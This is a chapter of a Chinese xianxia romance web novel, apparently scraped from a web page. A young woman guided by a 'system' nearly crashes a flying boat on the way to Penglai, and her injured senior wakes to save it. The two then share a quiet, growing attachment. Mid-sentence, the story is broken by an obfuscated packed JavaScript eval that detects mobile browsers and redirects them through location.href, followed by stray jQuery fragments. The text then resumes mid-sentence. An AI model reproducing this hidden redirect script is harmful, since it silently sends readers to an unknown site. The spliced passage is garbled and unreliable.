姜池扶着昏睡未醒的慕清踏入悬浮于云层之上的飞舟，飞舟启动，层峦叠嶂被抛在身后，巍峨仙山渐渐缩成一点青影，最终消失在天际尽头。


    钟离泽准备的飞舟适合远行，去往千里之遥的蓬莱只需一日时间。


    将慕清安置在卧榻上后，姜池深吸一口气，握住飞舟操控灵盘，心底生出几分忐忑。


    她没有飞舟驾驶证啊，无证驾驶会不会被拘留啊。


    好在起初航程还算顺利，飞舟循着大致方向穿云破雾，乘风疾行而去。


    可越往远走，云海之上万里山河雷同，姜池彻底失去了方向，飞舟绕了一圈，兜兜转转又回到原点。


    “系统，我好像迷路了。”姜池摆弄着飞舟的操纵灵盘，只能向系统求助。


    姜池低头看地图，又抬头看飞舟外。窗外群山连绵，左边是山，右边也是山，这两座山有什么区别吗？地图标记的山到底是哪座山啊


    还好这里距离天剑宗已经很远了，不然不用等到宗门大审，姜池就要被就地正法了。


    畏罪潜逃，罪加一等。


    系统：【宿主，飞舟上有自动驾驶系统，你按左手边那个机关就可以启动。】


    姜池低头盯着操控灵盘上并排的两个一模一样的开关，指尖悬在半空迟迟不敢摁下去。


    左边？到底是哪一个。


    飞舟猛地剧烈一晃，像是撞上了气流。姜池手忙脚乱地去扶操控台，却不小心碰歪了方向舵，飞舟顿时歪歪扭扭地往一侧倾斜。


    她脑子一乱，凭着模糊的直觉，咬牙按向了右边的开关。


    机关落下的瞬间，飞舟突然发出一声轰鸣，尾部喷出两道强劲的气流。半空中，原本平稳的飞舟突然开始急剧加速，如同脱缰的野马在云海间横冲直撞起来。


    凌厉的风灌满舱间，飞舟里变得颠簸起来，舟身剧烈摇晃，险些向一侧翻去。


    云雾在飞速倒退，风声猎猎刺耳，前方不远处，一座巍峨山脉突兀矗立，高耸入云。


    这时，失控飞舟正笔直地朝着山壁猛冲而去！


    姜池的身体也开始不受控制摇晃，只能双手死死握住飞舟的操纵杆保持平衡。


    “这个自动驾驶怎么这么不对劲啊。”


    系统的声音变得尖锐起来，【宿主，你刚刚按的是右边的加速机关。】


    救命啊，姜池想起自己好像左右不分。以前在现实世界考驾照的时候就被教练狠狠嫌弃过。明明应该打左转向灯，自己啪的一声把右转向灯打开了。


    姜池至今还记得教练看自己的眼神——像看一个傻子。


    “怎么才能停下来啊！”飞舟不断加速，离前面的山脉越来越近，马上就要撞上去了。


    【摁灵盘下面的减速机关】，系统提示道。


    “哪个是减速机关！”眼看着飞舟和山之间的距离越来越近，姜池手忙脚乱，一双手不知道到底该往哪里按。


    完了。


    这下不仅去不了蓬莱，两人怕是要直接陨落在这里了。


    千钧一发之际，一只手猛地按住了操控台，稳住倾斜的飞舟。


    慕清不知何时已经醒了过来，脸色虽因刚刚急促的动作泛起一丝苍白，眼神却异常清明。他指尖翻飞，在操控台上快速点动，飞舟的飞行速度渐渐放缓，险险擦过山峰的岩壁，终于平稳地悬浮在半空中。


    劫后余生，姜池瘫坐在地上，大口喘着气，看着近在咫尺的悬崖峭壁，后背全是冷汗。


    姜池在心里发誓，下次自己一定要考个飞舟驾驶证再出门。


    “还好师兄你醒了。”姜池看着慕清，语气满是庆幸。


    慕清苍白的面容衬得一双乌黑的眼越发明亮，黑瞳中映着姜池的身影，“嗯，被晃醒的。”


    慕清刚醒就看到眼前的人手忙脚乱驾驶着飞舟差点撞到山上。


    姜池挠头，有点不好意思，“我……我没开过飞舟。”　其实不是，自己只是分不清左右，但是这种事情想想实在丢人，又怎么好意思告诉慕清呢。


    “我们现在要去哪里。”慕清起身，走到飞舟的驾驶灵盘正前方。


    姜池连忙把地图递到他手中，“师尊让我们去蓬莱洲归鸿秘境，寻找石火。”


    慕清扫了一眼地图，在操纵灵盘上输入蓬莱州的坐标，飞舟调转方向，重新循着正确航道，稳稳穿行在云海长空之间。


    姜池看着他熟练的操作，好感度+1。


    本来以为自己要孤身带着重伤病患闯九死一生的秘境副本，没想到病患居然是大佬，可以带飞自己那种。


    这怎么不算一件天大的好事呢。


    危机解除，飞舟平稳穿行云海，两人并排坐在飞舟上看风景，云海之下灯火闪烁，有青山大川，也有小桥流水人家。


    舟内安静了许久，看着身侧安然静坐的人，姜池终究忍不住开了口。


    她不敢问他十年裂魂的苦楚，不敢问年少灭族的悲剧，不敢触及那些太重、太痛，埋在骨血里的伤疤。


    只好借着刚才的事情向他道谢。


    思来想去，她道出心底积攒很久的谢意，“多谢师兄救命之恩，不只这次，还有魔族边境那一次。”


    慕清靠在窗边，目光落在远处的天际线，“是你救了我。”


    姜池茫然，“什么时候？”


    “同命契。”


    “师兄，同命契的事情……你知道了？”


    良久，身侧传来慕清的声音“我知晓。”


    姜池有点局促：“你知晓？你那时候不是昏迷了吗？”姜池本想等他清醒过来再解释，没想到自己还没来得及解释，慕清已经知道了。


    姜池此刻有点背着正主领结婚证然后被抓包的感觉。


    “神魂相连的一刻，我便醒了，你渡灵力入我识海，替我分担神魂撕裂之痛，这些我皆有感。”


    “我不是为了救你，是存了旁的心思。”


    姜池说完自己都惊呆了，连忙再开口说道，“师兄，听我解释，我是为了救你，不是存了旁的心思。”


    “嗯。我知道。”


    舱内气氛再度变得尴尬，姜池只好转移话题，聊起剑冢那日的情形，“师兄，剑冢那天到底是发


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558574|204177||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    生了什么？是谁伤了你们。”


    慕清眸光微沉，望着流动的云浪，语气平淡，像是在诉说别人的事情：“那日，华容长老助我以镇魂玉封印魔息，没想到暗处藏了魔族之人，趁华容长老分心偷袭他，抢走了镇魂玉。”


    姜池听得手心发凉，“那伤你的……也是那名魔族奸细？”


    “是我自己”慕清抬眸，墨眸清冷，“当时别无选择。”


    他答得坦然，言语间没有任何情绪，仿佛在说一件再寻常不过的事。


    没了镇魂玉，魔种失控，魔气反噬，所以慕清用焚心自残，以肉身重创的方式强行打断魔化的过程。


    姜池鼻尖发酸，温热的酸涩瞬间冲上眼眶，心口涌起一阵细碎麻麻的疼痛。她一直以为他的伤是魔族所为，却没想到原来最惨烈的那一刀，是他自己捅向自己。


    以血肉之躯，自戕止魔。


    船舱里陷入一阵安静。长风无声，流云寂寂。


    飞舟穿过一片云层，第一缕晨光透过舷窗洒进来，落在姜池的发梢上。她伸手拨了拨被风吹乱的头发，忽然问：“师兄去过蓬莱州吗？”


    “嗯。”慕清应声。


    “蓬莱洲好不好玩？有没有什么好看稀奇的风景？”


    慕清垂眸，回道：“不知。”


    当年前往蓬莱，从未看过沿途风景，从未留意山海烂漫。于他而言，那只是一处救命的地方，并不是赏景的人间。


    姜池望着窗外云海，望着澄澈天际，对着慕清语气认真又温柔说道：“那等这次彻底拔除魔种之后，天南地北，蓬莱烟雨、江南春雪、西境落霞、东海潮生。人间万千好风景，我陪你一一去看。”


    她想让他不要困在过往里，好好看看此刻的烟火人间。


    少女眉眼明亮，像藏着一片星空，眼底盛着纯粹的期许，发丝被风轻轻扬起，细碎飘动，落在明媚天光里。


    慕清怔怔看着她。


    看着她澄澈的眉眼，看着她眼底的坦荡热忱，看着她被风拂动的缕缕青丝。


    多年冰封死寂的心被这一缕温柔撞开一丝缝隙，有什么东西透过这缝隙，悄悄在心底漾开涟漪。


    他早已认定自己的结局是不得善终，所以人间烟火，山河温柔他从不敢贪恋。


    可此刻听着少女温柔真挚的许诺，看着眼前鲜活热烈的她，心底竟第一次生出了希望。


    熬过所有苦，真的可以有温柔前路吗？


    或许自己也可以不用永远孤身一人，困在无尽黑暗里。


    慕清想象着江南的雨，塞北的风，想象着身边有一个鲜活的身影，生出一丝从未有过的期待。


    无人知晓，清冷不动情念的慕清在漫天长风，万里云涛之间，在少女赤诚的许诺里，第一次，动了心。


    “好”，他静默良久，低低应了一字，声音轻得像风。


    姜池没听清，问道，“师兄你说什么？”


    慕清移开目光，看向窗外流动的云海，耳尖悄然染上一层薄红：“没什么。”


    飞舟穿云逐日，载着两人奔赴千里之外的蓬莱。